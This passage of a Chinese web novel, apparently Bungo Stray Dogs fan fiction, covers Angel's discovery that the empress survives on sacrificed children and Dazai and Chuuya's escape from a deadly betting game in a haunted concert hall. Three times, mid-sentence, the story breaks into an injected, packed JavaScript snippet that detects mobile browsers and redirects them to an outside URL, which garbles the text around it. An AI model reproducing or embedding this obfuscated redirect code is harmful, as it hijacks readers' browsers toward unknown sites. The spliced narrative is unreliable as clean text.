在女皇的点播下，他很快领悟了“赫尔城秘法”的休息方式，并在日常里逐渐发现了这一整座城堡里的不对劲。 那些曾经被他所忽视的，麻痹了少年对危险感知的“异样”。 最初是口口相传的，在每十三年的“休沐日”中，被教廷所选中进入赫尔城内的一个“有神明赐福的幸运儿”，这些被邀请来到赫尔城内的幸运儿好像至此之后，再也没在赫尔城内见过踪迹。 安吉尔年幼时也曾幻想过倘若自己成为其中的一员，一定要主动向这些幸运儿请教有关赫尔城城堡和神明的事情，但当他真正来到这里时，却遗忘了这些人的存在。 赫尔城将“休沐日”定为选取与神明近距离接触幸运者的日子，翘首以盼，据说这些获得神明赐福的人们最后会进入秩序神明所设定的安乐乡。 有时候，这样的“休沐日”会因为某些特殊的原因提前来到，那时候，就需要赫尔城内的民众调动自己的热情与积极性，参与到这个节日的准备中。 “休沐日”上，除了被选取的幸运儿，整个赫尔城中的人还会获得一份来自“神明”与“教廷”的特别礼物。 每个人获得的礼物不尽相同，但多少会称心如意。 人们总是热爱并奉行这样的传统，甚至会期待着“休沐日”的提前到来。 但现在，安吉尔已经来到了赫尔城的城堡内，依照“休沐日”的开启时间，城堡内的“幸运儿”们人呢？传言中的安乐乡呢？ 除了固定的骑兵、护卫，就是教廷穿着的人们会在城堡内来回走动。 他们总是在各自的职位里步履匆匆。 安吉尔拐弯抹角地向周遭人询问这件事，得到的答案却多含糊不清。 也许可能知道这份答案地主教在得知这个幼稚地询问时，用一种堪称玩笑的语调告诉他：“安乐乡自然是神明的馈赠，亲爱的继任城主，您总会知晓这些幸运者的去向——作为尊贵的神明代言者。” 这是一场用精妙话术随口涵盖过的谈话，谈话的内容是让随着“秘术修习”逐渐能更清楚听清、看透人们内心的安吉尔感到不适的情绪。 就好像是被贪婪的毒蛇盯上的可怜猎物。 轻佻的语气下是隐藏的滑腻、阴沉。 赫尔城城堡内的人们在对此三缄其口。 随后，是他无时不刻，开始听见的莫名其妙的声音。 呢喃、哭泣、窃窃私语。 有千百种情绪会在特定的时间一拥而上，蒙蔽安吉尔的思绪。 这些声音总会勾引着安吉尔，试图将他带到赫尔城城堡内的某个地方。 但当他真的在夜深人静之时去到声音指引地时，除了大片旺盛的花海，什么也没能看见。 对，在赫尔城城堡这个枯燥乏味的地方，竟然随处种植着漂亮的植物，在东西的两角，是一大片荼蘼的花海。 这里的花朵从未有过完全开败的时候，各类的颜色每每会簇拥在所有经过人的目光中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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入目是一大片白色，安吉尔本能地想要移开视线，却还是没有斗篷落下的速度快。 但他设想中的场景并未发生。 女皇的确裸体站在他的面前，但那具裸露出的，原本应该完美无暇的身体，正面却横亘着恐怖的伤痕。 她的心口、颈部向下、腹部被用刀具整整齐齐切开了几道口子，又用另一颜色的肌肤修补其上，针线愈合的痕迹历历在目。 她的小前臂是光洁的白色，后臂却显然粗壮一圈，蜜色没有过度，突兀地出现。 除了她的头之外，女皇原本被掩盖的整个身躯就像是一个被缝补在一块的破布娃娃。 怎么会有人对此产生旖旎的想法呢？ 站在安吉尔面前的，真的还算是“人”么？ 少年后退了两步，却见到女人无端地坐在了原本跪着的褥垫上。 女皇目光淡漠，平静地捡起地面的斗篷，一瞬未移，看着眼前的安吉尔：“那么，你看清楚了吗？我的身上有多少道修补的痕迹？” 安吉尔嗫嚅着：“什么？” 女人摇头：“啊，应该是78个孩子。” “那些被选中的，用于填补作为神明代言人身体健康的，可怜的孩子。” “只是很可惜，从我被选中起，就是一个先天不足，身体比别人更差的‘安吉尔’，以至于在我继任之后的138年里，只能吸着其他的孩子的生命力苟延残喘。” “一个力量不足，身体虚弱，需要别的方法才能活下来的‘安吉尔’于教廷而言，是赫尔城最好的城主，我们互相给予对方生存的养料，用神明作为借口，就好像是秩序神明身上的寄生虫一般。” “但‘安吉尔’太过虚弱，却会成为负担。我继任的这么多年里，是城内‘休沐日’召开最频繁的时间，这样的情况一旦过于频繁，就会有真相暴露的危险。但是很可惜，秩序神明并没有给出下一任‘安吉尔’的诞生点，直到你的出现。” “尽管你年龄已经超出了正常‘安吉尔’被找到的情况，但他们别无选择，因为我已经过于残破，哪怕再开启一个‘休沐日’，也很难再给我续上一整年的光阴。” “至于那些不幸孩子的去向，我想你已经在花圃中找到答案。” “那么，亲爱的孩子，你还会在这里，做我的继任者，做下一个吞噬别人生命的‘安吉尔’么？” 33. 神明遗迹（三十） 这是一场彻头彻尾的骗局，当女皇将所经历的一切赤裸地摆在明面上，所得出的结果，是惊醒后，匆匆忙忙逃离赫尔城城堡的安吉尔。 没有人会想到，一向安分听话的下一任赫尔城城主会在教廷的祈祷日离开这个用尽心血养育他成长的地方。 也从未有人经历过这样的事情。 主教在这突发的事实中头一次摔碎了祭祀的托盘。 赫尔城内兵荒马乱。 但离开了赫尔城城堡的安吉尔在城内无处可去。 他被选中、赐名的这一事实被赫尔城的城民视作无上的荣光，所有人都以他为豪。 入城堡之前，熟悉他的人已将他的故事编作流浪者口口相传的歌谣。 一旦安吉尔在这一时刻路透，等待他的将不再是夸耀。 他会被视作是背叛了秩序神明的异教徒。 “安吉尔”这个姓名，成为了他不得不逃离的枷锁。 但教廷的搜索来得这样迅速——在安吉尔离开赫尔城城堡的第七日，教廷颁布了新的神谕：下一任安吉尔即将继位，与此同时，被万众敬爱的赫尔城女皇成功寻找到自己的真爱，并受到了来自秩序神明的祝福。 新的“休沐日”将在不日伴随神明赐福降临赫尔城。 安吉尔躲在人群当中，将自己遮盖地严严实实。 教廷的恶意从这一则张贴通报令中昭然若揭。 他们不是神明的传播者，而是秩序的毁灭者。 安吉尔拢紧了身上的斗篷，下定决心，准备离开这该死的魔窟。 可惜，在这一场别开生面的“休沐日”当中，赫尔城的新一轮规则禁令为：为了实现赫尔城对外的爱，直至休沐日之前，赫尔城内只进不出。 所有赫尔城民众必须在全城中给所有的赫尔城旅客带来不一样的热情体验。 而这一次的休沐日，中心城堡教廷将首次开启，秩序之神将在女皇的讴歌中为人们赐下福祉。 这是秩序之神的指示——因为神明为虔诚的赫尔城女皇的爱情而动容。 这位活了这样长年岁的女皇究竟在这样短的时间里爱上了谁？她残破不堪的身体又如何能够支持下一次休沐日的召开？ 知晓一切真相的安吉尔有千言万语无从与人分享，现在的他脑海中的一切想法，都会被人视作是异想天开的荒唐举动。 他只能沉默地看着周围地一切发生改变，人们喜气洋洋准备迎接“女皇的婚礼”。 双喜临门！ 这真是一场滑稽的“休沐日”准备，人们在赫尔城的街道中欢呼高唱，但他们祝福的对象却在偌大的赫尔城城堡中饱受病痛的折磨。 一任安吉尔的退位，是另一任安吉尔荣光的开始，每一任安吉尔汲取了他们所守护的城民的鲜血而存在，但下一任的安吉尔又踩在他们的生命力上而存在着。 安吉尔的秘术传承是靠着上一任安吉尔用尽自己的全部生命力量而逐步成长着的。 这也是为什么，每到一段修习的时间，就必须由赫尔城城主对下一任安吉尔进行“加冕”。 开弓没有回头箭，教廷已经选择了新的安吉尔，就全身心扑在了新安吉尔的培养上，以至于当他们最好的共生对象离开了他们的关系网时，残次品的那一位城主，已独木难支。 即便他们这样着急地准备举办休沐日，以求为上一任可怜的城主延续生命。 但这是违背了神明旨意的行为。 安吉尔在极尽的恐惧与身体的衰败中于赫尔城中躲躲藏藏。 但赫尔城靠近城中心的街道即便再四通八达，也没有办法再于长达七日的准备中为他提供更多帮助。 教廷倾尽全力，最终还是在休沐日的当天，人们欢呼高歌着奔向城中心，以求于千万分之一的可能性中成为幸运儿的狂欢中找到了行径与众不同的逃跑安吉尔。 后续发生了什么已经记不太清，只是从城中心的位置开始，人们看见了满目的火光。 钟声在整个赫尔城中回荡，但其下，热情高载的吟唱不再。 尖叫、哀嚎与惊慌失措间的逃窜、推攘取代了安吉尔的一切记忆。 他失去了自己和自由。 等到赫尔城中一切都平息，一切的一切好像都尘埃落定。 当安吉尔再度醒来，他只剩下了残缺的魂灵。 而出城道路上曾经躲藏的那一间乐堂更名为“安吉尔乐堂”，乐堂之中终日吟唱着为世人所震撼的乐曲。 安吉尔在乐曲描绘的环境中四处奔波，乐堂之中出现了形形色色的安吉尔，而曾获得过这个名字的他不再被需要了。 在声声泣血的哀歌之下，第六首音乐画下句号。 太宰治冷漠地看着安吉尔痛苦后陷入无尽的迷惘，而后在环境扭曲崩塌之际收回自己的目光。 他甚至未曾对安吉尔的一切情绪做出应有的共鸣与安慰。 “红色按键。”黑发鸢眸的男人敲击着座椅，微微侧头看着身旁熟睡的橘发青年。 小黑猫和芥川已经先后按下了和太宰治相同的选择，在一阵拿腔拿调的古怪嘲弄之后，主持的“安吉尔”声音穿透了整个乐堂：“哦，瞧瞧，我亲爱的朋友们，你们也同我们优秀的乐手们有着相同的情感共鸣。” “多么完美的音乐呀，你们在其间一定感受到了属于灵魂的震颤！” “让我看看，漂亮的红色！多么绚丽的色彩呀！那么，很遗憾，我可怜的，选择了蓝色按键的朋友们，你们接下来只能接受来自乐堂规则的执行啦——” 在安吉尔的狂笑之中，乐堂的四角凭空燃烧起火光。 座椅上穿着斗篷的人们在这样的情形之下见怪不怪，安稳地坐在原地。 一切都好像是第一幕发生的那样，沉默与缄默是乐堂之中的最终基调。 人们在这样的安宁里将会走向灭亡。 知晓了一切的太宰治应当会为此而触动吧？只是很可惜，黑之魔女大人只是双腿交叠，等待着那沉默的帷幕拉开。 中场休息，最后一次赌博游戏开幕。 乐堂正中心的烛火架骤然点亮，在光芒之中，乐堂的所有人都不约而同屏息。 只要撑过这一场游戏，今日的“镇魂曲”便只需要再听两首，就能够带着足够的奖励离开这个可怖的鬼地方！ 燃烧的白烛从空中浮现身形。 它缓缓向下坠落，在移动之间，观众们斗篷之下的头颅向着那两只烛火下坠的方向而移动。 所有人都在好奇它最终会降临在谁的身前。 二十米、十米…… 烛火距离观众席越来越近，被选中的排数就愈发明显。 当它们最终确认出现在太宰治所在的那一排时，沉寂的乐堂第一次出现了低低的窃笑。 烛火愈来愈向下，最终分散于太宰治的左右两侧。 显而易见，安吉尔乐堂的中场赌博游戏选择了中原中也与那个不知姓名的神秘女人。 芥川在一旁偷偷松了口气。 乐堂之中的窃笑变得格外明显，叠加的笑声几乎令太宰治感到烦躁。 陷入沉睡的中原中也根本不可能伸手接住这支蜡烛，选中他的乐堂摆明了就是想要橘发青年去死。 得到了猎物的乐堂当然会大发慈悲，就此收手，放过所有可怜的观众。 他们的窃笑是因为自己的存活的希望较旁人更胜一筹。 然而，出乎所有人的预料，当那只蜡烛飘摇在中原中也的额头平齐位置时，坐在他右侧的鸢眼绷带青年突兀地伸出自己的手，于半空截住了还在下落地蜡烛。 “太宰先生——”第一个发现的芥川瞳孔紧缩，对发生的一切感到不可思议。 太宰治并未对此回应。 他逆着空气中的抗力，将那只蜡烛坚定缓慢地朝自己的方向拖，最终使得它偏离了轨道。 这样的实施结果就是，这两只蜡烛选中了邻座的太宰治和那位穿着繁复华丽的神秘女人。 女人似乎同样为太宰治的所作所为感到惊讶，睁大眼第一次完完整整地扫视了太宰治这个人。 她微微捂着唇，轻笑：“这还真是有趣，妾身倒是没有想到，还能够抢夺旁人的机会。” 太宰治淡淡地看了一眼窝在椅子中的中也，另一只手托腮：“啊，作为主人，遇到好玩的游戏当然要先一步尝试啦，怎么能够把机会交给一个看起来就很好睡的小坏蛋呢？” 他的尾音上调，显然对发生的一切感到愉悦。 两侧的通道中，属于舞台的工作人员已经就位，太宰治并未含糊，干脆地从座椅上站起，跨过中原中也，侧身站到通道中。 也许是因为这一方更近，女人在太宰治之后跟上。 她冗长的衣袖、裙摆无法遏制地扫过中原中也的四肢、面颊，将趴在中也腿边的小黑猫掀了个倒翻。 “真是奇迹，我们竟然迎来了主动选择加入游戏的观众！瞧瞧，我们可爱的观众朋友，还有这位美丽的夫人……”安吉尔在看见出现在面前的两人时，无声地嬉笑两句，后退一步至舞台的侧段，将上台的位置留给了太宰治与他身后的女人。 即便在这样的情况下，太宰治还是保持着绅士风度，侧身后退一步，将身旁的位置让给了女人，让其能优雅地拖着长裙先一步踏上舞台。 下方的观众席上，万千的视线集中于太宰治与女人的身上。 “好吧，依照规则，请两位在我们的羊皮卷下签下各自准备给出彩头！” 太宰治不动声色，将手中的羊皮卷展开。 而后，他压下了自己身上的全部许可银币。 对侧盛装的女人微微思索， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962313|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后同样签署了自己的所想要给出的赌注。 “嘿，让我们来看看，今天看起来格外不同的两位观众会给我们留下怎样的赌注？”安吉尔脸上的夸张不减，似乎方才在见到太宰治与女人时的那一丝退后的不正常表现只是又一次故作的表演。 他细长的手指分别捻起两张在签署完毕后，自动阖拢的羊皮卷，轻轻一抖，羊皮卷便极为通灵性地摊开了。 “我们左侧的这位先生写下的是——他全部的许可银币！”安吉尔嘻嘻一笑，他偏头扫视了一下太宰治，而后，目光中无端掠过一缕贪婪：“让我瞧瞧，这可不得了，我们这位先生竟然有足足429枚许可银币！” “咦——先生，倘若您输了，是真的会给出‘全部’的银币吗？” 安吉尔的两颗眼珠宛如剔透灵动的玻璃，无机质地转动着，其内蕴藏着太宰治熟悉的恶意。 “难道我写得不够清楚？”太宰治捻了捻手指：“你不是说我有429枚银币么。” 安吉尔尖声：“我说的是全部！” 太宰治捻动手指的动作微微一滞，旋即鼻腔中发出轻哼：“全部。” 来自乐堂，属于太宰治座椅的钱袋之中的确有429枚通过这乐堂的6轮乐曲之后获得的许可银币奖励，但他的身上，还有一枚在放置于中原中也钱袋之后剩下的一枚，来自与另一个时间节点的许可银币。 那是来自赫尔城中的，被所有人都认可，能够用来交易的银币。 而眼前这位主持乐堂开幕结束的安吉尔显然意在于此。 “全部”。 得到太宰治模棱两可的答案之后，安吉尔脸上的笑意消失了些许。 他细长的手指重重敲击太宰治签署的那份羊皮卷，旋即冷笑道：“好吧，亲爱的中岛修治先生，我们非常接受您给出的这份赌注，祝愿您的游戏玩得愉快。” “那么，我们这位女士。”安吉尔在转向太宰治对策女人时，短暂地茫然了一下，夸张的语气在那之后收敛不少。 但只是短短的一瞬：“让我瞧瞧——嘿，心有灵犀！我们的女士同样选择了用自己全部的许可银币做赌注。” “女士的许可银币数量——同样是429枚！” 在听见相同数量的一刻，太宰治短暂地讶异了一下。 在对女人身份的界定里，他认为是赫尔城乃至这座乐堂有关的人物。 但在同样全对的情况下，女人身上本不应当有同样数目的许可银币——因为太宰治的起始为零。 所谓的赌注游戏，决定胜负的根本表面上是最后对“同意”与“背叛”的选择，实际却是“赌注”的确立。 赌注多者，才能掌控这个游戏的走向——他们仅仅需要选择“交易”，即可。 而赌注缺失者，无论选择哪一方都是死路一条。 这只是最基础无趣的逻辑游戏。 但现在，是最麻烦的一种情况——双方赌注相同。 太宰治眼眸上抬，对面的女人只是微微向他颔首，旋即用袖子遮掩住自己的面容，垂眼看向安吉尔。 舞台正中的安吉尔双手抬起：“那么，两位参与者，请做出你们的选择！” 视野短暂地全暗，除了手指指端的感觉外，其余皆被屏蔽，这就是舞台之上，那两场参与者无法进行任何场外求助的缘由。 太宰治思绪漂移，在倒计时中，选择了“背叛”。 白光亮起，正中央的安吉尔褪去了一贯的浮夸，显得面色狰狞可怖。 太宰治缓缓看向对策，意料当中，女人选择了“交易”。 一方“交易”，一方“背叛”，双方均获得赌注与来自乐团的10倍赌注，赌注金额小方失去生命。 但这之前，经由安吉尔亲口确认，双方赌注金额相同。 “不对——你们作弊！”安吉尔嘶声尖啸，他的身体突兀地膨胀了数十倍，细长的身体从中央分裂开：“我知道，我知道，你们的全部银币数量——绝不可能只有429枚！” 太宰治不动声色，垂落在身侧，缠绕着绷带的手指微微发亮，缓缓探向自己的储物水晶。 在没有魔法元素的世界里，这东西的效用可能会大打折扣，但多少…… “喂，你这家伙，是要出尔反尔吗？” 鸢眼的青年动作微微一滞，他的双眸里第一次出现明显的波动，惊诧与暗藏的喜悦涌动其间，又很快被古井无波的潭水压下。 安吉尔膨胀分裂的身体无端地制止住了。 并非是他不想再继续，而是在他的背后，一个拢着严严实实的魔女外袍，橘发娇小青年徒手将他合拢。 青年眯着眼，钴蓝色的双眸在烛光下熠熠生光，他的肩膀上趴着一只耀武扬威，谄媚至极的绷带小黑猫：“既然人家赢了，就乖乖把该有的结果双手奉上。” 34. 神明遗迹（三十一） 剧烈燃烧的烛火下，橘发青年钴蓝色的双眸中仿佛同步燃烧着明媚的焰火，张扬而肆意。 诡异可怖的安吉尔在他的手上全无反抗之力，细长的身躯宛如剧烈燃烧的蜡烛，无可控制地瘫软下去。 安吉尔密密麻麻的利齿在口腔中碰撞，极度的疼痛中，他的双眸无限放大，黑色瞳仁逐渐扩散至整个眼眶。 安吉尔发出凄厉的哀嚎，夸张的肢体末端，尖利的黑色长甲迅速增长，用几乎扭曲的方式，缠绕成一团，刺向背后桎梏着他的中原中也。 撕裂空气的声音在身后猛地响起，抑制着安吉尔分裂的中也并未因此而松开手。 耳尖随着声音的临近颤动，不必回头，青年已知晓那近乎疯狂的利爪在何方。 青年前进、侧步，将手中的安吉尔躯体猛地掷向身后。 利爪势不可挡，贯穿了安吉尔自己的躯体。 破开的裂口处，白花花的银币从中垂落：“我的钱——” 他挣扎着想要逃脱青年的桎梏，满口的利齿扩张，不管不顾咬向中也抓住他的手臂。 中也单腿猛贯，格挡住安吉尔还在继续攻击的利爪，侧压重摔，那一根飘摇的利爪肢体旋即被橘发青年踩在脚下，在铺满红色绒毯的舞台地面上发出沉闷的撞击声。 风驰电掣间，橙发青年一刻未停，单手卡住安吉尔的脖颈，用力扭动，伸出魔法外袍的手臂上青筋暴起，蕴含着恐怖的爆发力，将安吉尔的头颅硬生生转了两圈，旋即将其与那已完全歪曲的身体打了个结。 安吉尔不再能够动弹分毫。 破溃处，银币还在哗哗掉落，完全瘫软在地面的安吉尔看着地面之上不断散落下的小圆片，漆黑一片的瞳孔中满是恐惧。 他反复呢喃着同一句话，舞台之下，穿戴着斗篷的观众们随着台面上越来越多的银币，视线逐渐变得热切疯狂。 隐隐有混乱的迹象。 “一个小小的建议，你们最好都乖乖待在原地。” 中也不加情绪的眸子顺势扫向台下一众观众席，用恐怖的行动将所有人跃跃欲试的想法遏制在苗头。 在这座舞台之上，报幕的“安吉尔”给所有观众留下的压制感几乎无人能够抵抗，而今，站在舞台中央，将安吉尔团成一团烂泥，扔在脚边的青年身上，散发着更加可怖的压制气息。 即便他们对舞台正中央散落的钱币热切不已，隐隐疯狂的视线仍旧不甘地暂时沉寂下去。 中原中也懒洋洋踢了踢脚边处理掉的“安吉尔”，转头，抬眸，看着高处，游戏结束还未能下台，目不转睛，右眼缠绕着绷带的青年，挑眉：“你还不准备下来么？” 舞台正中，橘发青年熠熠生光。 太宰治被那道身影夺取了全身心的关注，再也无法移开眼睛。 没有人能够想到，甜美娇小的青年体内蕴藏着如此令人生畏的爆发力与破坏力，以至于在绝对的实力面前，只能为之臣服。 心脏跳动的速度达到前所未有的巅峰，也许是因为不久前曾将药剂师与谢野晶子的升压与降压药水混合在一起喝掉产生的后遗症，让太宰治在这一刻，几乎忘记了呼吸。 他眼睁睁看着橘发青年在催促得不到回应下，不耐烦地挠了挠头，而后主动踏上阶梯，自下一阶上，仰头向他伸出手：“喂，自杀小鬼，快走了。” 喧扰的心跳声在这一刻骤然消失不见。 猛回神的鸢眼黑发青年不自主将手搭上橘发青年的的掌心。 他的手掌极其细腻，全然看不出是一个将将用极端暴力遏制一场非人灾难的始作俑者。 “啊……都怪中也，让我都忘记了。” 太宰治小声嘀咕，耳尖在偏长黑发的掩盖下悄悄升温。 “什么？”中原中也带着这个看起来别扭又傻不愣登的家伙下台，十分怀疑是否是他这个爱情魔法契约者，在不久前将自己的脑子一起抵当出去了。 “我说，中也是个大笨蛋！”太宰治看着趴在中原中也肩头，龇牙咧嘴见不得中也主动伸手牵太宰，闹情绪舔咬着中也脖颈与肩交接处的小黑猫。 那湿漉漉的一片简直让人心中不爽：“居然就这么带着来历不明的猫一起冒冒失失地上台了。” “哈？”中原中也领着太宰治，一前一后，快速从舞台上下到台下，而后回到了他们原本的观众席位上：“我是看着你这家伙把自己搞进麻烦里了才来的！再说，这只猫看起来挺可爱的。” “猫可爱？”太宰治瞳孔放大，鸢眼里满溢着难以置信：“这么一只又黑又小，没什么用缠着绷带的奇怪玩意儿，你居然说他可爱！” “小矮子的品味真是糟糕透顶。” 太宰治高声的音调几乎将中原中也吓得够呛。 橘发青年侧头看看了自己肩膀上的猫，又转头看了看同样绑着绷带，黑漆漆的家伙，一言难尽。 “打扰一下，可爱的先生们，但我想你们现在，应该注意一下周围。”站在过道之中，妆容华丽的橙发女人优雅地半遮住自己的脸，没有分毫要回到自己位置上的迹象。 女人方才跟在太宰与中也身后，不紧不慢下台，最初，也是她建议太宰一行人最好在乐堂表演开始前，找个合适的地方坐下。 她目光温柔地看着坐在太宰与芥川中间，昳丽的橘发青年：“漂亮的小先生应该多少会发现吧？我们周遭的情况，好像有些不太妙呀。” 顺着女人的言语视线望去，舞台之上，原本被中原中也捆绑随手扔在地面的安吉尔此刻如同真正融化的蜡油一般，已经完全成为一滩浑浊的液体，看不出原本的模样。 两颗漆黑的眼球在那一滩液体之中，闪烁着不详的光，牢牢锁定着每一个台下的看客。 他的身体周围，是一大片无人问津的许可银币，舞台之下，是躁动不安的，穿着斗篷的观众。 一切都显得诡异至极。 这些隐藏在斗篷之下的观众们有着十分类人的情感与模样，在乐堂之中，同样恐惧着开始的演出节目与每一场夸张的“赌注游戏”。 而乐堂之上，从安吉尔起，到那些每一轮都会出现的“乐手”与“指挥家”，都有着非人的一幕。 在这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随着乐堂之中的古怪喊叫声越来越多，太宰治当机立断：“好吧，先生们，我想今天我们欣赏演出的时间到这里就应该结束了。” “眼下，我们是时候离开了。” 太宰治起身，最外侧的芥川早在他说出第一句话时，就已经站在了通道之中，和橙发女人保持一段距离，等待着太宰治和中原中也。 年轻人的反应与行动力总是令人满意，他们几乎同一时间站到通道之中，在面面相觑里，太宰治转头，看着女人：“好吧，这位尊贵的夫人。” “我想您一定又独到的简介，想要和我们交流，但现在，我认为您应该先给我们带路。” “真是一个聪明的先生。”女人敛眸轻笑：“跟我来吧。” 她避开芥川与太宰治，独独多看了一眼中也和他肩膀上的那只小黑猫。 不是向着更高处，女人的裙摆如同漂亮的波浪，在阶梯上起伏——她领着太宰一行人，向着异变最原始的位置，乐堂最底端而去。 “亲爱的先生们，我想，我们的性命掌握在你们的手中。”女人侧头，眼尾上挑，声音轻灵：“毕竟，拖我们可爱的橘发小先生的福，我们可以提前离席了。” 他们一路走向观众席的最前排，那里，最早开始异变的观众们后背之上的人头已经有了完完整整的脸，就这样紧紧贴覆着他们后背之上的斗篷布料，用近乎裸露的恶意，自那两个代表眼睛的巨大空洞“凝视”着走下来的太宰治一行人。 35. 神明遗迹（三十二）（50营养液…… “呜呜……痛……好痛……” “钱……没有钱……” “需要……给……” 前排的观众们低声啜泣，呜咽着泣诉着什么，听不太清。 直至他们之间的距离缩短，太宰治等人将要靠近之际，才堪堪听清那不成调的话语。 这些可怜的人儿，在用断断续续的声音不断重复着相同的话语。 而那些泣鸣音并非是来自他们本身，而是他们背后，那颗满是凹陷空洞，看起来格外可怖的“人头面”。 “很不幸，中也说的好像要成真了哦。”太宰治在这样的环境下，甚至还能稍显轻松地对夹在他和芥川中间的中也开玩笑。 橘发青年面色凝重，破天荒没有对太宰治说出的话给出回应。 他看着那些佝偻着身躯，顶着背后一大颗圆球样头颅的“观众”们，目光里短暂地出现了些许的迷茫与不解。 “太宰，我好像，在哪里见过这种东西。” 中也的声音被此起彼伏的哀嚎声压了下去，在一片凄怨的泣音里，橘发青年并没有说第二次。 但太宰治却在他话音落下之后，精准地进行回应：“啊……什么都不记得的小矮子还能见过这种东西？那还真是有点意思。” “不过中也，当下应该更集中精力应付一下这些看起来就不太好惹的东西吧？我可不想还要停下来陪小矮子回忆过往。” “啧。”这一番话成功地将中原中也明显不太美妙的心情压了下去，转而变成了后面那个看起来就很混蛋家伙的无穷怒火。 中也干脆地给了身后太宰一拳，而后单手将身后那个体型庞大，作势要碰瓷的大型黏人精抗在肩膀上向前走。 因为存在明显身高差，太宰治的双腿不得不在地面上拖行。 但鸢眼青年却好像乐在其中，甚至有想要将中原中也另一边肩膀上绑着绷带的小黑猫直接扫下去，最好扔进一众异变的观众席中。 “我警告你，不准对猫动手。” 中原中也仿佛后背长了眼睛，在太宰治抬起手臂的一瞬间精准捕捉，成功使得黑发绷带青年的动作僵在半空。 太宰治愤愤不平地转而将手对准了中原中也脖颈后的那缕过长发尾的小啾啾，泄愤般对准中原中也顺滑的发丝进行揉拧。 偏生橘发青年肩膀上那只黑猫宰同样是个不省心的家伙，趁此机会对着太宰治龇牙白眼，身后摇晃的尾巴甩得活像只狗。 “迟早把你扔掉。”太宰治双眼弯成小月牙，看起来一副和善热情青年的模样，虚伪至极。 小黑猫宰宰趁此机会亮出自己的一只爪爪，锋利的之家在烛火光照下反着寒凉的光——就差把弄死对方的话说出口。 但中也却在它亮爪的同一时刻伸手握住了那只爪子，顺带着将小黑猫一整个翻了个身，让它用圆润的屁股对准太宰治。 黑猫忙不迭将亮出来的指甲收了回去，柔软的猫垫讨好地踩了踩中原中也的掌心，状若乖巧地趴在中原中也的肩膀上，不作声了。 “真是讨厌这样聪明的中也。”太宰治同样偏过头，眼不见心不烦。 随着越来越靠近第一排，周遭的观众情况肉眼可见地越糟糕。 当橙发女人踏上第一排座位通道的那一条线时，周遭你难得声音突兀地放大了几倍。 鼓膜随着声音的增大剧烈颤动，极度的不安里，女人突然侧身，恰恰避开了她身旁靠近通道那一张座位上，突然暴起的斗篷观众的袭击。 这一名观众后背之上，那一颗人头已完全成型，紧贴着斗篷的那一张脸上，漆黑的洞不断收缩蠕动，发出尖锐的鸣叫音。 他半具身体挂在座椅之上，上半身疯狂探出，斗篷之下，那双干枯得仿佛树干的手机械地上下用力挥动。 尽管女人的反应十分迅速，避开了这双手的捕捉，但她的衣摆却在躲避之中不慎被暴起的观众抓住，旋即，一抹火焰自他们的接触处升起，顺着裙摆向上蔓延。 “嘶啦——”衣袍碎裂声响起，橙发女人毫不犹豫，迅速断掉那一部分的布料，将手中燃烧着的衣摆向那名观众扔去。 她脸上是一抹透着冷意的笑，口中的话语一贯无喜无悲：“真是很遗憾，那便将这东西送给你吧。” 观众身上的斗篷仿佛有一层易燃的涂料，几乎在燃烧的碎布接触的一瞬间，熊熊烈火腾起，迅速蔓延至全身。 哀厉沧桑的惨叫自那具干枯的身体之中升起，他的斗篷迅速化为湮灭，那一具半探出身躯的身体在火焰之下露出全貌。 那是一句焦黑的，其上层层脓包的身体，干枯的手臂痛苦地四处抓探，像是要寻找一根救命稻草。 他的后背之上，一颗已经完全成型的，五官全然不对称的头就这样突兀地自脖颈向下的颈线出生长出来。 人头的嘴大张着，露出内里漆黑空洞的模样，它的双眼牢牢紧闭，眼皮却深深凹陷下去——没有眼球的支撑。 随着火焰的燃烧，观众身上的皮肤不断被收缩、炙烤，其上的脓包如同水球接二连三炸裂开来，四溅的黑色液体如同附骨之蛆，很快侵蚀着接触的一切物体，深深地陷下去。 随着他挥动的手臂不断僵硬，观众失去了最后的生机。 古怪的燃烧并未结束，在火焰的光中，那一双紧闭的眼睛毫无预兆地睁开了。 “忘了提醒各位先生，最好不要被‘它’看见。” 女人已经完全踏过了第一排的位置，正正站在舞台之下，向夹在通道之中，被这具燃烧着的尸体拦住去路的三人一猫发出提醒。 她眉眼温柔，全然为太宰等人着想的模样，却只是站在舞台与头顶烛火架之间的阴影处，没有更多的动作。 她双手环抱于胸前：“先生们可得尽快过来呀，否则，我们就不得不开始停下一场演出了。” “没有了报幕人‘安吉尔’的指引，呵，谁知道会是谁为我们演奏下一场乐曲？” 她看起来漫不经心，对周遭的一切都不关注，隔岸观火。 但余光里，舞台后方，那准备上台的候场区，却不知合适出现了一大片形体古怪，看不出原本模样的东西。 空气里，焦糊的气味与粘腻的香味无端升起，这是芥川曾在赫尔城旅馆之中，听见过中岛敦反复提及的味道。 这一瞬间，“安吉尔乐堂”属于赫尔城才终于被所有人想起。、 以匍匐的姿态在烈焰中被燃烧殆尽的观众再也没有动静。 在女人的那一声若有似无的提示里，尸体之上的头颅突然开始灵巧地转动，睁开的眼睛之下，是一片令人头脑发昏，作呕的黑暗。 摄魂夺魄。 “人头脸”的口中还在不断发出节奏规律的，悲怆的哭泣，其间夹杂着不知是否空耳的嬉笑。 中也拖着太宰治，猛地在那双空洞的眼睛扫来之前借力跃上身旁的座椅，躲开接触。 而芥川因为闪避不及，半只手臂被那双空洞的眼睛捕捉。 